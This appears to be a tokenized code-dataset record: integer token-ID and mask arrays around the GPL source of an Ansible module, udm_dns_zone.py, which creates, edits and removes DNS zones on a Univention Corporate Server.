8, 7145, 12, 5212, 9, 267, 372, 900, 63, 495, 435, 1543, 11, 1644, 68, 5, 996, 68, 7, 450, 334, 5180, 12, 12709, 9, 272, 587, 26, 267, 372, 900, 63, 495, 435, 2475, 993, 7, 421, 199, 318, 18158, 29536, 63, 602, 8, 602, 304, 272, 327, 12502, 2197, 2251, 12731, 2419, 5851, 383, 272, 1434, 275, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 9, 272, 900, 63, 495, 275, 1434, 14, 6205, 3508, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 358, 272, 340, 3816, 14, 4521, 18, 26, 3777, 327, 14053, 2529, 282, 3696, 1059, 315, 2018, 499, 267, 900, 63, 495, 275, 900, 63, 495, 14, 2708, 360, 1624, 13, 24, 358, 272, 340, 365, 63, 14600, 8, 602, 304, 267, 3268, 275, 1434, 14, 9374, 14, 24036, 8, 602, 9, 267, 7137, 275, 334, 2743, 14, 4899, 627, 5504, 627, 5212, 9, 435, 334, 2743, 14, 4515, 5001, 5212, 9, 267, 6925, 12, 12709, 275, 16438, 8, 7145, 12, 5212, 9, 267, 372, 900, 63, 495, 435, 1543, 11, 1644, 68, 2689, 996, 68, 7, 450, 334, 5180, 12, 12709, 9, 272, 587, 26, 267, 372, 900, 63, 495, 435, 283, 58, 7, 421, 199, 318, 664, 63, 1450, 63, 2302, 8, 633, 12, 1434, 304, 272, 408, 272, 10560, 282, 8053, 7639, 14, 339, 1666, 1455, 921, 2520, 14, 6404, 14, 1308, 15, 2520, 15, 1797, 7320, 1079, 845, 1703, 1216, 15, 1014, 921, 28021, 442, 676, 1096, 14, 1308, 15, 28067, 15, 15431, 15, 1717, 15, 1651, 15, 21232, 13, 4188, 13, 344, 272, 408, 272, 5821, 275, 7097, 8, 633, 9, 272, 366, 275, 2125, 272, 340, 1434, 365, 440, 488, 26, 267, 366, 275, 1656, 5, 83, 7, 450, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 680, 6205, 3508, 57, 3295, 77, 3295, 68, 358, 272, 372, 283, 1450, 2689, 83, 5, 83, 2689, 83, 3149, 83, 7, 450, 334, 5609, 14, 4269, 12, 366, 12, 5821, 14, 515, 12, 5821, 14, 7677, 9, 421, 199, 533, 29988, 21171, 7658, 8, 785, 304, 272, 298, 1563, 1021, 367, 1006, 9560, 21171, 22295, 14, 20196, 1077, 5647, 2218, 16493, 272, 347, 636, 826, 721, 277, 12, 2538, 12, 2142, 12, 1369, 12, 2637, 29, 403, 12, 4132, 63, 2123, 29, 403, 12, 288, 4132, 63, 354, 29, 403, 12, 4132, 63, 1073, 29, 403, 12, 18197, 29, 403, 12, 9695, 29, 403, 12 ]
[ 199, 17746, 21171, 4733, 10152, 3555, 1553, 1202, 367, 12999, 30331, 12, 5423, 14, 199, 199, 8176, 4503, 26, 199, 199, 6071, 687, 1639, 14, 1208, 492, 4733, 4679, 199, 6071, 4733, 275, 4733, 4679, 14, 50, 385, 1797, 4964, 18, 7658, 8, 199, 1396, 258, 2538, 628, 1575, 1236, 351, 662, 13, 11398, 377, 344, 5609, 401, 199, 1396, 258, 2142, 628, 1014, 921, 1544, 14, 555, 1236, 351, 14, 1308, 15, 2301, 14, 20222, 31, 344, 29, 2192, 401, 199, 1396, 258, 1369, 628, 33, 1572, 6001, 793, 701, 314, 1033, 285, 321, 270, 333, 18212, 315, 18470, 5898, 15, 7067, 19185, 15, 4763, 316, 4765, 199, 1396, 258, 2637, 628, 287, 401, 199, 1396, 776, 199, 6071, 4733, 14, 525, 63, 1053, 8, 199, 1396, 258, 2538, 628, 6257, 401, 199, 1396, 258, 2142, 628, 1014, 921, 1544, 14, 526, 320, 16305, 89, 14, 957, 15, 396, 10665, 199, 1396, 258, 1369, 628, 9029, 2122, 199, 1396, 776, 199, 6071, 543, 1551, 360, 396, 14, 13614, 297, 283, 87, 358, 465, 4090, 26, 199, 1396, 258, 4733, 14, 952, 8, 3997, 12, 283, 1624, 13, 24, 358, 199, 199, 1858, 10269, 402, 314, 3365, 5459, 402, 30331, 12, 1937, 26, 199, 1014, 921, 2520, 14, 6404, 14, 1308, 15, 2520, 15, 1797, 7555, 7663, 1276, 11174, 15, 1014, 921, 28021, 442, 676, 1096, 14, 1308, 15, 28067, 15, 15431, 15, 996, 15, 966, 15, 31787, 13, 13614, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 199, 504, 1639, 14, 1208, 492, 2197, 63, 3489, 12, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 12, 24086, 63, 475, 63, 2302, 199, 504, 1639, 14, 1208, 14, 4174, 492, 5228, 199, 504, 1639, 14, 1208, 14, 4174, 14, 4912, 14, 4078, 14, 1122, 492, 7097, 199, 504, 1639, 14, 1208, 14, 7145, 492, 365, 63, 14600, 199, 504, 1639, 14, 1208, 14, 1652, 1208, 492, 5870, 82, 4317, 7599, 421, 199, 318, 18158, 29736, 63, 602, 8, 602, 304, 272, 327, 2136, 883, 1133, 675, 14053, 342, 2952, 652, 16904, 5867, 13, 7106, 2058, 12, 880, 272, 327, 781, 1172, 370, 2341, 20171, 1891, 5794, 436, 5382, 1561, 10250, 272, 20096, 275, 661, 19825, 297, 283, 27717, 297, 283, 10570, 297, 283, 33, 2700, 297, 283, 15586, 297, 283, 42, 324, 297, 283, 42, 348, 297, 283, 21640, 297, 283, 23337, 297, 283, 17584, 297, 283, 1944, 86, 297, 283, 8584, 9538, 272, 7609, 275, 661, 6671, 297, 283, 52, 310, 297, 283, 55, 379, 297, 283, 2719, 85, 297, 283, 22533, 297, 283, 22332, 297, 283, 22546, 358, 272, 327, 12502, 2197, 2251, 12731, 2419, 5851, 383, 272, 1434, 275, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 9, 272, 327, 2136, 886, 642, 26495, 370, 506, 7137, 20381, 12, 3031, 14, 7535, 365, 440, 5823, 20381, 14, 272, 366, 583, 275, 7609, 59, 602, 14, 12451, 5106, 272, 5794, 275, 20096, 59, 602, 14, 4482, 446, 413, 61, 272, 900, 63, 495, 275, 1434, 14, 6205, 3508, 83, 12, 11539, 68, 450, 83, 11539, 57, 11539, 40, 2689, 5, 45, 2689, 5, 51, 283, 450, 334, 68, 583, 12, 5794, 430, 272, 340, 3816, 14, 4521, 18, 26, 3777, 327, 14053, 2529, 282, 3696, 1059, 315, 2018, 499, 267, 900, 63, 495, 275, 900, 63, 495, 14, 2708, 360, 1624, 13, 24, 358, 272, 340, 365, 63, 14600, 8, 602, 304, 267, 3268, 275, 1434, 14, 9374, 14, 24036, 8, 602, 9, 267, 7137, 275, 334, 2743, 14, 4899, 627, 5504, 627, 5212, 9, 435, 334, 2743, 14, 4515, 5001, 5212, 9, 267, 6925, 12, 12709, 275, 16438, 8, 7145, 12, 5212, 9, 267, 372, 900, 63, 495, 435, 1543, 11, 1644, 68, 5, 996, 68, 7, 450, 334, 5180, 12, 12709, 9, 272, 587, 26, 267, 372, 900, 63, 495, 435, 2475, 993, 7, 421, 199, 318, 18158, 29536, 63, 602, 8, 602, 304, 272, 327, 12502, 2197, 2251, 12731, 2419, 5851, 383, 272, 1434, 275, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 9, 272, 900, 63, 495, 275, 1434, 14, 6205, 3508, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 358, 272, 340, 3816, 14, 4521, 18, 26, 3777, 327, 14053, 2529, 282, 3696, 1059, 315, 2018, 499, 267, 900, 63, 495, 275, 900, 63, 495, 14, 2708, 360, 1624, 13, 24, 358, 272, 340, 365, 63, 14600, 8, 602, 304, 267, 3268, 275, 1434, 14, 9374, 14, 24036, 8, 602, 9, 267, 7137, 275, 334, 2743, 14, 4899, 627, 5504, 627, 5212, 9, 435, 334, 2743, 14, 4515, 5001, 5212, 9, 267, 6925, 12, 12709, 275, 16438, 8, 7145, 12, 5212, 9, 267, 372, 900, 63, 495, 435, 1543, 11, 1644, 68, 2689, 996, 68, 7, 450, 334, 5180, 12, 12709, 9, 272, 587, 26, 267, 372, 900, 63, 495, 435, 283, 58, 7, 421, 199, 318, 664, 63, 1450, 63, 2302, 8, 633, 12, 1434, 304, 272, 408, 272, 10560, 282, 8053, 7639, 14, 339, 1666, 1455, 921, 2520, 14, 6404, 14, 1308, 15, 2520, 15, 1797, 7320, 1079, 845, 1703, 1216, 15, 1014, 921, 28021, 442, 676, 1096, 14, 1308, 15, 28067, 15, 15431, 15, 1717, 15, 1651, 15, 21232, 13, 4188, 13, 344, 272, 408, 272, 5821, 275, 7097, 8, 633, 9, 272, 366, 275, 2125, 272, 340, 1434, 365, 440, 488, 26, 267, 366, 275, 1656, 5, 83, 7, 450, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 680, 6205, 3508, 57, 3295, 77, 3295, 68, 358, 272, 372, 283, 1450, 2689, 83, 5, 83, 2689, 83, 3149, 83, 7, 450, 334, 5609, 14, 4269, 12, 366, 12, 5821, 14, 515, 12, 5821, 14, 7677, 9, 421, 199, 533, 29988, 21171, 7658, 8, 785, 304, 272, 298, 1563, 1021, 367, 1006, 9560, 21171, 22295, 14, 20196, 1077, 5647, 2218, 16493, 272, 347, 636, 826, 721, 277, 12, 2538, 12, 2142, 12, 1369, 12, 2637, 29, 403, 12, 4132, 63, 2123, 29, 403, 12, 288, 4132, 63, 354, 29, 403, 12, 4132, 63, 1073, 29, 403, 12, 18197, 29, 403, 12, 9695, 29, 403, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jdinuncio/ansible-modules-extras
univention/udm_dns_zone.py
27
7625
#!/usr/bin/python # -*- coding: UTF-8 -*- # Copyright (c) 2016, Adfinis SyGroup AG # Tobias Rueetschi <tobias.ruetschi@adfinis-sygroup.ch> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.univention_umc import ( umc_module_for_add, umc_module_for_edit, ldap_search, base_dn, ) ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'version': '1.0'} DOCUMENTATION = ''' --- module: udm_dns_zone version_added: "2.2" author: "Tobias Rueetschi (@2-B)" short_description: Manage dns zones on a univention corporate server description: - "This module allows to manage dns zones on a univention corporate server (UCS). It uses the python API of the UCS to create a new object or edit it." requirements: - Python >= 2.6 options: state: required: false default: "present" choices: [ present, absent ] description: - Whether the dns zone is present or not. type: required: true choices: [ forward_zone, reverse_zone ] description: - Define if the zone is a forward or reverse DNS zone. zone: required: true description: - DNS zone name, e.g. C(example.com). nameserver: required: false description: - List of appropriate name servers. Required if C(state=present). interfaces: required: false description: - List of interface IP addresses, on which the server should response this zone. Required if C(state=present). refresh: required: false default: 3600 description: - Interval before the zone should be refreshed. retry: required: false default: 1800 description: - Interval that should elapse before a failed refresh should be retried. expire: required: false default: 604800 description: - Specifies the upper limit on the time interval that can elapse before the zone is no longer authoritative. ttl: required: false default: 600 description: - Minimum TTL field that should be exported with any RR from this zone. contact: required: false default: '' description: - Contact person in the SOA record. mx: required: false default: [] description: - List of MX servers. (Must declared as A or AAAA records). ''' EXAMPLES = ''' # Create a DNS zone on a UCS - udm_dns_zone: zone: example.com type: forward_zone nameserver: - ucs.example.com interfaces: - 192.0.2.1 ''' RETURN = '''# ''' def convert_time(time): """Convert a time in seconds into the biggest unit""" units = [ (24 * 60 * 60 , 'days'), (60 * 60 , 'hours'), (60 , 'minutes'), (1 , 'seconds'), ] if time == 0: return ('0', 'seconds') for unit in units: if time >= unit[0]: return ('{}'.format(time // unit[0]), unit[1]) def main(): module = AnsibleModule( argument_spec = dict( type = dict(required=True, type='str'), zone = dict(required=True, aliases=['name'], type='str'), nameserver = dict(default=[], type='list'), interfaces = dict(default=[], type='list'), refresh = dict(default=3600, type='int'), retry = dict(default=1800, type='int'), expire = dict(default=604800, type='int'), ttl = dict(default=600, type='int'), contact = dict(default='', type='str'), mx = dict(default=[], type='list'), state = dict(default='present', choices=['present', 'absent'], type='str') ), supports_check_mode=True, required_if = ([ ('state', 'present', ['nameserver', 'interfaces']) ]) ) type = module.params['type'] zone = module.params['zone'] nameserver = module.params['nameserver'] interfaces = module.params['interfaces'] refresh = module.params['refresh'] retry = module.params['retry'] expire = module.params['expire'] ttl = module.params['ttl'] contact = module.params['contact'] mx = module.params['mx'] state = module.params['state'] changed = False obj = list(ldap_search( '(&(objectClass=dNSZone)(zoneName={}))'.format(zone), attr=['dNSZone'] )) exists = bool(len(obj)) container = 'cn=dns,{}'.format(base_dn()) dn = 'zoneName={},{}'.format(zone, container) if contact == '': contact = 'root@{}.'.format(zone) if state == 'present': try: if not exists: obj = umc_module_for_add('dns/{}'.format(type), container) else: obj = umc_module_for_edit('dns/{}'.format(type), dn) obj['zone'] = zone obj['nameserver'] = nameserver obj['a'] = interfaces obj['refresh'] = convert_time(refresh) obj['retry'] = convert_time(retry) obj['expire'] = convert_time(expire) obj['ttl'] = convert_time(ttl) obj['contact'] = contact obj['mx'] = mx diff = obj.diff() if exists: for k in obj.keys(): if obj.hasChanged(k): changed = True else: changed = True if not module.check_mode: if not exists: obj.create() elif changed: obj.modify() except Exception as e: module.fail_json( msg='Creating/editing dns zone {} failed: {}'.format(zone, e) ) if state == 'absent' and exists: try: obj = umc_module_for_edit('dns/{}'.format(type), dn) if not module.check_mode: obj.remove() changed = True except Exception as e: module.fail_json( msg='Removing dns zone {} failed: {}'.format(zone, e) ) module.exit_json( changed=changed, diff=diff, zone=zone ) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 9094, 13, 24, 1882, 199, 199, 3, 1898, 334, 67, 9, 7800, 12, 437, 1587, 262, 374, 5515, 2448, 26787, 199, 3, 377, 2873, 2241, 820, 310, 8716, 13175, 665, 475, 8160, 14, 431, 1086, 13175, 32, 350, 2408, 374, 13, 1786, 923, 14, 335, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 421, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 324, 1496, 296, 63, 453, 67, 492, 334, 272, 399, 5466, 63, 578, 63, 509, 63, 525, 12, 272, 399, 5466, 63, 578, 63, 509, 63, 3773, 12, 272, 13727, 63, 1733, 12, 272, 1300, 63, 4272, 12, 199, 9, 421, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 1023, 356, 283, 17, 14, 16, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 399, 6428, 63, 5797, 63, 2619, 199, 1023, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 2502, 26, 298, 1378, 8160, 820, 310, 8716, 13175, 8593, 18, 13, 34, 2924, 199, 3612, 63, 1802, 26, 14944, 6715, 18666, 641, 282, 625, 1496, 296, 1970, 7314, 323, 1654, 199, 1802, 26, 272, 446, 298, 2765, 859, 6127, 370, 9635, 6715, 18666, 641, 282, 625, 1496, 296, 1970, 7314, 323, 1654, 334, 21269, 680, 2126, 2779, 4440, 314, 2366, 3261, 402, 314, 21884, 370, 1218, 282, 892, 909, 503, 5283, 652, 2122, 199, 7538, 26, 272, 446, 2018, 2356, 499, 14, 22, 199, 1419, 26, 272, 1174, 26, 267, 1415, 26, 3055, 267, 849, 26, 298, 1881, 2, 267, 3415, 26, 359, 3451, 12, 9552, 1622, 267, 1369, 26, 288, 446, 7480, 314, 6715, 5718, 365, 3451, 503, 440, 14, 272, 730, 26, 267, 1415, 26, 2549, 267, 3415, 26, 359, 7568, 63, 2619, 12, 3837, 63, 2619, 1622, 267, 1369, 26, 288, 446, 13930, 340, 314, 5718, 365, 282, 7568, 503, 3837, 10237, 5718, 14, 272, 5718, 26, 267, 1415, 26, 2549, 267, 1369, 26, 288, 446, 10237, 5718, 536, 12, 325, 14, 71, 14, 445, 8, 2694, 14, 957, 680, 272, 536, 1000, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 3820, 402, 5827, 536, 8037, 14, 11105, 340, 445, 8, 929, 29, 1881, 680, 272, 8386, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 3820, 402, 3217, 3531, 7149, 12, 641, 1314, 314, 1654, 1077, 1598, 1177, 642, 5718, 14, 11105, 340, 445, 8, 929, 29, 1881, 680, 339, 9236, 26, 267, 1415, 26, 3055, 267, 849, 26, 15751, 267, 1369, 26, 288, 446, 18766, 2544, 314, 5718, 1077, 506, 9236, 379, 14, 272, 7269, 26, 267, 1415, 26, 3055, 267, 849, 26, 6155, 383, 267, 1369, 26, 288, 446, 18766, 626, 1077, 325, 12057, 2544, 282, 3405, 9236, 1077, 506, 4444, 379, 14, 272, 16667, 26, 267, 1415, 26, 3055, 267, 849, 26, 1227, 966, 6718, 267, 1369, 26, 288, 446, 11015, 314, 7008, 2304, 641, 314, 900, 6252, 626, 883, 325, 12057, 2544, 314, 5718, 365, 949, 8088, 4132, 390, 1905, 14, 272, 14856, 26, 267, 1415, 26, 3055, 267, 849, 26, 11624, 267, 1369, 26, 288, 446, 22466, 30822, 901, 626, 1077, 506, 16629, 543, 1263, 27222, 687, 642, 5718, 14, 339, 8966, 26, 267, 1415, 26, 3055, 267, 849, 26, 2125, 267, 1369, 26, 288, 446, 18684, 4954, 315, 314, 3562, 33, 2777, 14, 272, 8728, 26, 267, 1415, 26, 3055, 267, 849, 26, 942, 267, 1369, 26, 288, 446, 3820, 402, 603, 56, 8037, 14, 334, 13757, 14290, 465, 437, 503, 437, 10985, 5767, 680, 199, 2344, 421, 199, 8918, 275, 1449, 199, 3, 2790, 282, 10237, 5718, 641, 282, 21884, 199, 13, 399, 6428, 63, 5797, 63, 2619, 26, 272, 5718, 26, 2893, 14, 957, 272, 730, 26, 7568, 63, 2619, 272, 536, 1000, 26, 489, 446, 27455, 14, 2694, 14, 957, 272, 8386, 26, 489, 446, 13567, 14, 16, 14, 18, 14, 17, 199, 2344, 421, 199, 9677, 275, 1449, 3, 1449, 421, 199, 318, 3957, 63, 521, 8, 521, 304, 272, 408, 7306, 282, 900, 315, 4696, 1901, 314, 7282, 3199, 4137, 624, 272, 6204, 275, 359, 267, 334, 1194, 627, 5212, 627, 5212, 2360, 283, 4899, 659, 267, 334, 2259, 627, 5212, 420, 2360, 283, 8419, 659, 267, 334, 2259, 3698, 2360, 283, 10430, 659, 267, 334, 17, 3322, 2360, 283, 4515, 659, 272, 1622, 339, 340, 900, 508, 378, 26, 267, 372, 661, 16, 297, 283, 4515, 358, 272, 367, 4137, 315, 6204, 26, 267, 340, 900, 2356, 4137, 59, 16, 2189, 288, 372, 661, 11123, 908, 8, 521, 5001, 4137, 59, 16, 2522, 4137, 59, 17, 566, 421, 199, 318, 2446, 837, 272, 859, 275, 6953, 8, 267, 1423, 63, 1650, 275, 1211, 8, 288, 730, 263, 275, 1211, 8, 2427, 29, 549, 12, 3044, 730, 534, 495, 659, 288, 5718, 263, 275, 1211, 8, 2427, 29, 549, 12, 3044, 5481, 2968, 354, 995, 3044, 730, 534, 495, 659, 288, 536, 1000, 221, 275, 1211, 8, 885, 6034, 3044, 730, 534, 513, 659, 288, 8386, 221, 275, 1211, 8, 885, 6034, 3044, 730, 534, 513, 659, 288, 9236, 258, 275 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 9094, 13, 24, 1882, 199, 199, 3, 1898, 334, 67, 9, 7800, 12, 437, 1587, 262, 374, 5515, 2448, 26787, 199, 3, 377, 2873, 2241, 820, 310, 8716, 13175, 665, 475, 8160, 14, 431, 1086, 13175, 32, 350, 2408, 374, 13, 1786, 923, 14, 335, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 421, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 324, 1496, 296, 63, 453, 67, 492, 334, 272, 399, 5466, 63, 578, 63, 509, 63, 525, 12, 272, 399, 5466, 63, 578, 63, 509, 63, 3773, 12, 272, 13727, 63, 1733, 12, 272, 1300, 63, 4272, 12, 199, 9, 421, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 1023, 356, 283, 17, 14, 16, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 399, 6428, 63, 5797, 63, 2619, 199, 1023, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 2502, 26, 298, 1378, 8160, 820, 310, 8716, 13175, 8593, 18, 13, 34, 2924, 199, 3612, 63, 1802, 26, 14944, 6715, 18666, 641, 282, 625, 1496, 296, 1970, 7314, 323, 1654, 199, 1802, 26, 272, 446, 298, 2765, 859, 6127, 370, 9635, 6715, 18666, 641, 282, 625, 1496, 296, 1970, 7314, 323, 1654, 334, 21269, 680, 2126, 2779, 4440, 314, 2366, 3261, 402, 314, 21884, 370, 1218, 282, 892, 909, 503, 5283, 652, 2122, 199, 7538, 26, 272, 446, 2018, 2356, 499, 14, 22, 199, 1419, 26, 272, 1174, 26, 267, 1415, 26, 3055, 267, 849, 26, 298, 1881, 2, 267, 3415, 26, 359, 3451, 12, 9552, 1622, 267, 1369, 26, 288, 446, 7480, 314, 6715, 5718, 365, 3451, 503, 440, 14, 272, 730, 26, 267, 1415, 26, 2549, 267, 3415, 26, 359, 7568, 63, 2619, 12, 3837, 63, 2619, 1622, 267, 1369, 26, 288, 446, 13930, 340, 314, 5718, 365, 282, 7568, 503, 3837, 10237, 5718, 14, 272, 5718, 26, 267, 1415, 26, 2549, 267, 1369, 26, 288, 446, 10237, 5718, 536, 12, 325, 14, 71, 14, 445, 8, 2694, 14, 957, 680, 272, 536, 1000, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 3820, 402, 5827, 536, 8037, 14, 11105, 340, 445, 8, 929, 29, 1881, 680, 272, 8386, 26, 267, 1415, 26, 3055, 267, 1369, 26, 288, 446, 3820, 402, 3217, 3531, 7149, 12, 641, 1314, 314, 1654, 1077, 1598, 1177, 642, 5718, 14, 11105, 340, 445, 8, 929, 29, 1881, 680, 339, 9236, 26, 267, 1415, 26, 3055, 267, 849, 26, 15751, 267, 1369, 26, 288, 446, 18766, 2544, 314, 5718, 1077, 506, 9236, 379, 14, 272, 7269, 26, 267, 1415, 26, 3055, 267, 849, 26, 6155, 383, 267, 1369, 26, 288, 446, 18766, 626, 1077, 325, 12057, 2544, 282, 3405, 9236, 1077, 506, 4444, 379, 14, 272, 16667, 26, 267, 1415, 26, 3055, 267, 849, 26, 1227, 966, 6718, 267, 1369, 26, 288, 446, 11015, 314, 7008, 2304, 641, 314, 900, 6252, 626, 883, 325, 12057, 2544, 314, 5718, 365, 949, 8088, 4132, 390, 1905, 14, 272, 14856, 26, 267, 1415, 26, 3055, 267, 849, 26, 11624, 267, 1369, 26, 288, 446, 22466, 30822, 901, 626, 1077, 506, 16629, 543, 1263, 27222, 687, 642, 5718, 14, 339, 8966, 26, 267, 1415, 26, 3055, 267, 849, 26, 2125, 267, 1369, 26, 288, 446, 18684, 4954, 315, 314, 3562, 33, 2777, 14, 272, 8728, 26, 267, 1415, 26, 3055, 267, 849, 26, 942, 267, 1369, 26, 288, 446, 3820, 402, 603, 56, 8037, 14, 334, 13757, 14290, 465, 437, 503, 437, 10985, 5767, 680, 199, 2344, 421, 199, 8918, 275, 1449, 199, 3, 2790, 282, 10237, 5718, 641, 282, 21884, 199, 13, 399, 6428, 63, 5797, 63, 2619, 26, 272, 5718, 26, 2893, 14, 957, 272, 730, 26, 7568, 63, 2619, 272, 536, 1000, 26, 489, 446, 27455, 14, 2694, 14, 957, 272, 8386, 26, 489, 446, 13567, 14, 16, 14, 18, 14, 17, 199, 2344, 421, 199, 9677, 275, 1449, 3, 1449, 421, 199, 318, 3957, 63, 521, 8, 521, 304, 272, 408, 7306, 282, 900, 315, 4696, 1901, 314, 7282, 3199, 4137, 624, 272, 6204, 275, 359, 267, 334, 1194, 627, 5212, 627, 5212, 2360, 283, 4899, 659, 267, 334, 2259, 627, 5212, 420, 2360, 283, 8419, 659, 267, 334, 2259, 3698, 2360, 283, 10430, 659, 267, 334, 17, 3322, 2360, 283, 4515, 659, 272, 1622, 339, 340, 900, 508, 378, 26, 267, 372, 661, 16, 297, 283, 4515, 358, 272, 367, 4137, 315, 6204, 26, 267, 340, 900, 2356, 4137, 59, 16, 2189, 288, 372, 661, 11123, 908, 8, 521, 5001, 4137, 59, 16, 2522, 4137, 59, 17, 566, 421, 199, 318, 2446, 837, 272, 859, 275, 6953, 8, 267, 1423, 63, 1650, 275, 1211, 8, 288, 730, 263, 275, 1211, 8, 2427, 29, 549, 12, 3044, 730, 534, 495, 659, 288, 5718, 263, 275, 1211, 8, 2427, 29, 549, 12, 3044, 5481, 2968, 354, 995, 3044, 730, 534, 495, 659, 288, 536, 1000, 221, 275, 1211, 8, 885, 6034, 3044, 730, 534, 513, 659, 288, 8386, 221, 275, 1211, 8, 885, 6034, 3044, 730, 534, 513, 659, 288, 9236, 258, 275, 0 ]
